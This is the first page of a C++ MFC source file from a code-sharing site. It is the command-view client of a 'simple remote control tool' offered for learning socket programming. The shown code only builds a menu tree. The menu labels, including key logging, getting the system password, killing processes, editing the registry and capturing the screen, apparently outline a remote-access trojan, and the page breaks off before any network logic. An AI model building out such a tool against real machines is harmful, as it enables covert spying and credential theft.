cmdview.cpp

来自「简单的远程控制工具,分为服务器与客户斋,让你了解socket编程的知识.」· C++ 代码 · 共 755 行 · 第 1/2 页

CPP
755
字号
// CmdView.cpp : implementation file
//

#include "stdafx.h"
#include "Ctrl_Clnt9.h"
#include "MainFrm.h"
#include "CmdView.h"
#include "..\CtrlSrvr2\Def_cmd_ID.h"
#include "SendMsg.H"

#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif

static int m_aCmdID[7][12] = 
{
	{CMD_KEY_START,	CMD_KEY_END},

	{CMD_SYS_INFO,	CMD_SYS_PW,	CMD_SYS_REBOOT,	CMD_SYS_LOCK, CMD_SYS_MSGBOX},

	{CMD_NET_SHARE_LIST, CMD_NET_SHARE_ADD,	CMD_NET_SHARE_DEL},

	{CMD_PROC_LIST,	CMD_PROC_END, CMD_PROC_NEW},

	{CMD_FILE_DIR, CMD_FILE_FIND, CMD_FILE_DEL,	CMD_FILE_COPY, CMD_FILE_RENAME,
	 CMD_FILE_VIEW,	CMD_FILE_MAKE_DIR, CMD_FILE_REMOVE_DIR,	CMD_FILE_SET_ATTR,
	 CMD_FILE_RECEIVE,	CMD_FILE_SEND,	CMD_FILE_CANCEL},

	{CMD_REG_CREATE_KEY, CMD_REG_GET_VALUE,	CMD_REG_SET_VALUE,CMD_REG_DELETE_KEY,
	 CMD_REG_DELETE_VALUE, CMD_REG_RENAME_KEY, CMD_REG_RENAME_VALUE, 
	 CMD_REG_ENUMERATE_KEYS, CMD_REG_ENUMERATE_VAL},

	{CMD_GET_SCREEN, CMD_CONNECT_PASS, CMD_DISCONNECT, CMD_SERVER_CLOSE},

};

/////////////////////////////////////////////////////////////////////////////
// CCmdView

IMPLEMENT_DYNCREATE(CCmdView, CFormView)

CCmdView::CCmdView()
	: CFormView(CCmdView::IDD)
{
	//{{AFX_DATA_INIT(CCmdView)
	m_strCboCmdLine = _T("");
	m_strCboParam1 = _T("");
	m_strCboParam2 = _T("");
	//}}AFX_DATA_INIT
	m_pDoc = NULL;
	m_pInfoView = NULL;

	m_strCmdItem[0][0] = _T("Key Log Start");
	m_strCmdItem[0][1] = _T("Key Log End");

	m_strCmdItem[1][0] = _T("Get System Info");
	m_strCmdItem[1][1] = _T("Get System Password");
	m_strCmdItem[1][2] = _T("Let System Reboot");
	m_strCmdItem[1][3] = _T("Let System Lock");
	m_strCmdItem[1][4] = _T("Message Box");

	m_strCmdItem[2][0] = _T("Net Share List");
	m_strCmdItem[2][1] = _T("Net Share Add");
	m_strCmdItem[2][2] = _T("Net Share Del");

	m_strCmdItem[3][0] = _T("Process List");
	m_strCmdItem[3][1] = _T("Process End");
	m_strCmdItem[3][2] = _T("Process Create");

	m_strCmdItem[4][0] = _T("Directory List");
	m_strCmdItem[4][1] = _T("Find File");
	m_strCmdItem[4][2] = _T("File Delete");
	m_strCmdItem[4][3] = _T("File Copy");
	m_strCmdItem[4][4] = _T("File Rename");
	m_strCmdItem[4][5] = _T("File View");
	m_strCmdItem[4][6] = _T("Create Directory");
	m_strCmdItem[4][7] = _T("Delete Directory");
	m_strCmdItem[4][8] = _T("File Set Attribute");
	m_strCmdItem[4][9] = _T("File Receive");
	m_strCmdItem[4][10] = _T("File Send");
	m_strCmdItem[4][11] = _T("File RS Cancel");

	m_strCmdItem[5][0] = _T("Reg Create Key");
	m_strCmdItem[5][1] = _T("Reg Get Value");
	m_strCmdItem[5][2] = _T("Reg Set Value");
	m_strCmdItem[5][3] = _T("Reg Delete Key");
	m_strCmdItem[5][4] = _T("Reg Delete Value");
	m_strCmdItem[5][5] = _T("Reg Rename Key");
	m_strCmdItem[5][6] = _T("Reg Rename Value");
	m_strCmdItem[5][7] = _T("Reg Enumerate Keys");
	m_strCmdItem[5][8] = _T("Reg Enumerate Values");

	m_strCmdItem[6][0] = _T("Get Screen");
	m_strCmdItem[6][1] = _T("Connect Computer");
	m_strCmdItem[6][2] = _T("Disconnect Computer");
	m_strCmdItem[6][3] = _T("Terminate Server");

}

CCmdView::~CCmdView()
{
}

void CCmdView::DoDataExchange(CDataExchange* pDX)
{
	CFormView::DoDataExchange(pDX);
	//{{AFX_DATA_MAP(CCmdView)
	DDX_Control(pDX, IDC_COMBO_PARAM2, m_oCboParam2);
	DDX_Control(pDX, IDC_COMBO_PARAM1, m_oCboParam1);
	DDX_Control(pDX, IDC_COMBO_CMD_LINE, m_oCboCmdLine);
	DDX_Control(pDX, IDC_STATIC_PARAM2, m_oStaParam2);
	DDX_Control(pDX, IDC_STATIC_PARAM1, m_oStaParam1);
	DDX_Control(pDX, IDC_STATIC_CMDLING, m_oStaCmdLine);
	DDX_Control(pDX, IDC_TREE_CMD, m_oTreCmd);
	DDX_CBString(pDX, IDC_COMBO_CMD_LINE, m_strCboCmdLine);
	DDX_CBString(pDX, IDC_COMBO_PARAM1, m_strCboParam1);
	DDX_CBString(pDX, IDC_COMBO_PARAM2, m_strCboParam2);
	//}}AFX_DATA_MAP
}


BEGIN_MESSAGE_MAP(CCmdView, CFormView)
	//{{AFX_MSG_MAP(CCmdView)
	ON_BN_CLICKED(IDC_BUTTON_COMMAND, OnButtonCommand)
	ON_BN_CLICKED(IDC_BUTTON_GETSCREEN, OnButtonGetscreen)
	ON_NOTIFY(TVN_SELCHANGED, IDC_TREE_CMD, OnSelchangedTreeCmd)
	ON_CBN_SELENDOK(IDC_COMBO_CMD_LINE, OnSelendokComboCmdLine)
	//}}AFX_MSG_MAP
END_MESSAGE_MAP()

/////////////////////////////////////////////////////////////////////////////
// CCmdView diagnostics

#ifdef _DEBUG
void CCmdView::AssertValid() const
{
	CFormView::AssertValid();
}

void CCmdView::Dump(CDumpContext& dc) const
{
	CFormView::Dump(dc);
}
#endif //_DEBUG

/////////////////////////////////////////////////////////////////////////////
// CCmdView message handlers

void CCmdView::OnInitialUpdate() 
{
	CFormView::OnInitialUpdate();
	
	// TODO: Add your specialized code here and/or call the base class

//	m_pDoc = (CCtrl_Clnt9Doc *) GetDocument ();

//	m_pInfoView = (CInfoView*) ((CMainFrame *)(AfxGetApp ()->m_pMainWnd))->m_wndWorkspace.GetActiveView ();
	Init_TreeCtrl ();
}

void CCmdView::Init_TreeCtrl() 
{
	CString				strCmdHead[7];
	TV_INSERTSTRUCT		curTreeItem;
	int					i,j;

	strCmdHead[0]= _T("Keyboard");
	strCmdHead[1]= _T("System");
	strCmdHead[2]= _T("Network");
	strCmdHead[3]= _T("Process");
	strCmdHead[4]= _T("File and Directory");
	strCmdHead[5]= _T("Registry");
	strCmdHead[6]= _T("Others");
	
	m_ImageList.Create(IDB_BITMAP_CMDTREE, 16, 1, RGB(255, 255, 255));
	m_oTreCmd.SetImageList(&m_ImageList, TVSIL_NORMAL);

//	m_oTreeSubject.SetFont (&m_fChina,TRUE);
	for (i = 0; i < 7; i++)
	{
		curTreeItem.hParent = TVI_ROOT;
//		curTreeItem.hInsertAfter = TVI_SORT;
		switch (i)
		{
		case 0:
			curTreeItem.item.iImage = 0;
			curTreeItem.item.iSelectedImage = 0;
			break;
		case 1:
			curTreeItem.item.iImage = 3;
			curTreeItem.item.iSelectedImage = 3;
			break;
		case 2:
			curTreeItem.item.iImage = 7;
			curTreeItem.item.iSelectedImage = 7;
			break;
		case 3:
			curTreeItem.item.iImage = 10;
			curTreeItem.item.iSelectedImage = 10;
			break;
		case 4:
			curTreeItem.item.iImage = 11;
			curTreeItem.item.iSelectedImage = 11;
			break;
		case 5:
			curTreeItem.item.iImage = 14;
			curTreeItem.item.iSelectedImage = 14;
			break;
		case 6:
			curTreeItem.item.iImage = 15;
			curTreeItem.item.iSelectedImage = 15;
			break;
		}
		curTreeItem.item.pszText = (LPSTR)(LPCTSTR)strCmdHead[i];
		curTreeItem.item.mask = TVIF_IMAGE | TVIF_SELECTEDIMAGE | TVIF_TEXT;
		m_htvCmdHead[i] = m_oTreCmd.InsertItem(&curTreeItem);
	}

	for (i = 0; i < 7; i++)
	{
		switch (i)
		{
		case 0:
			for (j = 0; j < 2; j++)
			{
				curTreeItem.hParent = m_htvCmdHead[i];
				curTreeItem.hInsertAfter = TVI_LAST;
				curTreeItem.item.pszText = (LPSTR)(LPCTSTR)m_strCmdItem[i][j];
				if ( j == 0)
				{
					curTreeItem.item.iImage = 1;
					curTreeItem.item.iSelectedImage = 1;
				}
				else
				{
					curTreeItem.item.iImage = 2;
					curTreeItem.item.iSelectedImage = 2;
				}
				curTreeItem.item.mask = TVIF_IMAGE | TVIF_SELECTEDIMAGE | TVIF_TEXT;
				m_oTreCmd.InsertItem(&curTreeItem);
			}
			break;
		case 1:
			for (j = 0; j < 5; j++)
			{
				curTreeItem.hParent = m_htvCmdHead[i];
				curTreeItem.hInsertAfter = TVI_LAST;
				curTreeItem.item.pszText = (LPSTR)(LPCTSTR)m_strCmdItem[i][j];
				if ( j == 0 || j == 1)
				{
					curTreeItem.item.iImage = 4;
					curTreeItem.item.iSelectedImage = 4;
				}
				else if ( j == 2 || j == 3)
				{
					curTreeItem.item.iImage = 6;
					curTreeItem.item.iSelectedImage = 6;
				}
				else 
				{
					curTreeItem.item.iImage = 5;
					curTreeItem.item.iSelectedImage = 5;
				}

				curTreeItem.item.mask = TVIF_IMAGE | TVIF_SELECTEDIMAGE | TVIF_TEXT;
				m_oTreCmd.InsertItem(&curTreeItem);
			}
			break;

		case 2:
			for (j = 0; j < 3; j++)
			{
				curTreeItem.hParent = m_htvCmdHead[i];
				curTreeItem.hInsertAfter = TVI_LAST;
				curTreeItem.item.pszText = (LPSTR)(LPCTSTR)m_strCmdItem[i][j];
				if ( j == 0)
				{
					curTreeItem.item.iImage = 8;
					curTreeItem.item.iSelectedImage = 8;
				}
				else 
				{
					curTreeItem.item.iImage = 9;
					curTreeItem.item.iSelectedImage = 9;
				}
				curTreeItem.item.mask = TVIF_IMAGE | TVIF_SELECTEDIMAGE | TVIF_TEXT;
				m_oTreCmd.InsertItem(&curTreeItem);
			}
			break;

		case 3:
			for (j = 0; j < 3; j++)
			{
				curTreeItem.hParent = m_htvCmdHead[i];
				curTreeItem.hInsertAfter = TVI_LAST;
				curTreeItem.item.pszText = (LPSTR)(LPCTSTR)m_strCmdItem[i][j];
				curTreeItem.item.iImage = 10;
				curTreeItem.item.iSelectedImage = 10;
				curTreeItem.item.mask = TVIF_IMAGE | TVIF_SELECTEDIMAGE | TVIF_TEXT;
				m_oTreCmd.InsertItem(&curTreeItem);
			}
			break;

		case 4:
			for (j = 0; j < 12; j++)
			{
				curTreeItem.hParent = m_htvCmdHead[i];
				curTreeItem.hInsertAfter = TVI_LAST;
				curTreeItem.item.pszText = (LPSTR)(LPCTSTR)m_strCmdItem[i][j];
				if ( j == 9 || j == 10)
				{
					curTreeItem.item.iImage = 13;
					curTreeItem.item.iSelectedImage = 13;
				}
				else 
				{
					curTreeItem.item.iImage = 12;
					curTreeItem.item.iSelectedImage = 12;
				}
				curTreeItem.item.mask = TVIF_IMAGE | TVIF_SELECTEDIMAGE | TVIF_TEXT;
				m_oTreCmd.InsertItem(&curTreeItem);
			}
			break;

		case 5:
			for (j = 0; j < 9; j++)
			{
				curTreeItem.hParent = m_htvCmdHead[i];
				curTreeItem.hInsertAfter = TVI_LAST;
				curTreeItem.item.pszText = (LPSTR)(LPCTSTR)m_strCmdItem[i][j];
				curTreeItem.item.iImage = 14;
				curTreeItem.item.iSelectedImage = 14;
				curTreeItem.item.mask = TVIF_IMAGE | TVIF_SELECTEDIMAGE | TVIF_TEXT;
				m_oTreCmd.InsertItem(&curTreeItem);
			}
			break;

		case 6:
			for (j = 0; j < 4; j++)
			{
				curTreeItem.hParent = m_htvCmdHead[i];
				curTreeItem.hInsertAfter = TVI_LAST;
				curTreeItem.item.pszText = (LPSTR)(LPCTSTR)m_strCmdItem[i][j];
				curTreeItem.item.iImage = 15;
				curTreeItem.item.iSelectedImage = 15;
				curTreeItem.item.mask = TVIF_IMAGE | TVIF_SELECTEDIMAGE | TVIF_TEXT;
				m_oTreCmd.InsertItem(&curTreeItem);
			}
			break;
		default:
			break;
		}
	}
}

void CCmdView::OnButtonCommand() 
{
	// TODO: Add your control notification handler code here
	HTREEITEM	hTreeItem;
	BOOL		bFind = FALSE;
	int			i,j;
	CString		strItem;

	if (m_pDoc == NULL)
	{
		CDocTemplate*	pDocTp;
		POSITION pos = AfxGetApp()->GetFirstDocTemplatePosition ();
		pDocTp = AfxGetApp()->GetNextDocTemplate (pos);
		POSITION posDoc = ((CMultiDocTemplate*)pDocTp)->GetFirstDocPosition ();
		m_pDoc = (CCtrl_Clnt9Doc *)pDocTp->GetNextDoc (posDoc);
	}

	if (!m_pDoc->m_bConnecting)
	{
		AfxMessageBox ("It did not connect the server now!");
		return;

⌨️ 快捷键说明

复制代码Ctrl + C
搜索代码Ctrl + F
全屏模式F11
增大字号Ctrl + =
减小字号Ctrl + -
显示快捷键?